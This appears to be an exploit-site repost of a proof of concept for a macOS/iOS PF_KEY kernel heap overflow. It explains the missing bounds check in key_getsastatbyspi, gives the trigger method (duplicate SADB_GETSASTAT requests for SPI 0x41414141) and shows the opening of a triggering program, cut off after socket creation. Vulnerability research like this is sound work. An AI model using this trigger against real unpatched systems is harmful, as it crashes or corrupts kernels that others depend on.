Macos < 10.14.3 / ios < 12.1.3 kernel heap overflow in pf_key due to lack of bounds checking when retrieving statistics Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-01-31 |
Type : dos |
Platform : multiple
This exploit / vulnerability Macos < 10.14.3 / ios < 12.1.3 kernel heap overflow in pf_key due to lack of bounds checking when retrieving statistics is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.
key_getsastat handles SADB_GETSASTAT messages:
It allocates a buffer based on the number of SAs there currently are:
// exit early if there are no requested SAs
if (arg_count == 0) {
printf("%s: No SAs requested.\n", __FUNCTION__);
error = ENOENT;
goto end;
}
res_count = 0;
It passes those, and the allocated buffer, to key_getsastatbyspi:
if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
arg_count,
sa_stats_sav,
&res_count)) {
The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...
Looking at key_getsastatbyspi:
static int
key_getsastatbyspi (struct sastat *stat_arg,
u_int32_t max_stat_arg,
struct sastat *stat_res,
u_int32_t *max_stat_res)
{
int cur, found = 0;
for (cur = 0; cur < max_stat_arg; cur++) {
if (key_getsastatbyspi_one(stat_arg[cur].spi,
&stat_res[found]) == 0) {
found++;
}
}
*max_stat_res = found;
if (found) {
return 0;
}
return -1;
}
Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.
Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.
Tested on MacOS 10.14.2 (18C54)
*/
// @i41nbeer
#if 0
iOS/MacOS kernel heap overflow in PF_KEY due to lack of bounds checking when retrieving statistics
Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.
key_getsastat handles SADB_GETSASTAT messages:
It allocates a buffer based on the number of SAs there currently are:
// exit early if there are no requested SAs
if (arg_count == 0) {
printf("%s: No SAs requested.\n", __FUNCTION__);
error = ENOENT;
goto end;
}
res_count = 0;
It passes those, and the allocated buffer, to key_getsastatbyspi:
if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
arg_count,
sa_stats_sav,
&res_count)) {
The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...
Looking at key_getsastatbyspi:
static int
key_getsastatbyspi (struct sastat *stat_arg,
u_int32_t max_stat_arg,
struct sastat *stat_res,
u_int32_t *max_stat_res)
{
int cur, found = 0;
for (cur = 0; cur < max_stat_arg; cur++) {
if (key_getsastatbyspi_one(stat_arg[cur].spi,
&stat_res[found]) == 0) {
found++;
}
}
*max_stat_res = found;
if (found) {
return 0;
}
return -1;
}
Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.
Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.
int main() {
// get a PF_KEY socket:
int fd = socket(PF_KEY, SOCK_RAW, PF_KEY_V2);
if (fd == -1) {
perror("failed to get PF_KEY socket, got privs?");
return 0;
}